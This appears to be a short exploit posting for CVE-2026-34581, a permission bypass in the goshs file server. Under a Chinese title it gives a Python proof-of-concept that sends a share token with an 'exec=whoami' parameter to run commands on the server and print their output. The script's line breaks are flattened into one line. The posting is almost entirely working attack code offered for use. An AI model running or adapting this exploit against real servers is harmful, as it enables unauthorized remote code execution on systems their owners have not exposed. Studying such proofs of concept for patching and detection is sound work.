CVE-2026-34581 goshs权限绕过导致代码执行漏洞

import requests def exploit(target_url, share_token): """ PoC for CVE-2026-34581 Demonstrates bypassing Share Token restrictions to achieve RCE. """ # Target endpoint using the share token # The exploit bypasses the file restriction to access exec features exploit_url = f"{target_url}/?token={share_token}&exec=whoami" try: response = requests.get(exploit_url) if response.status_code == 200: print("[+] Exploit successful! Command output:") print(response.text) else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" token = "VULNERABLE_TOKEN_ID" exploit(target, token)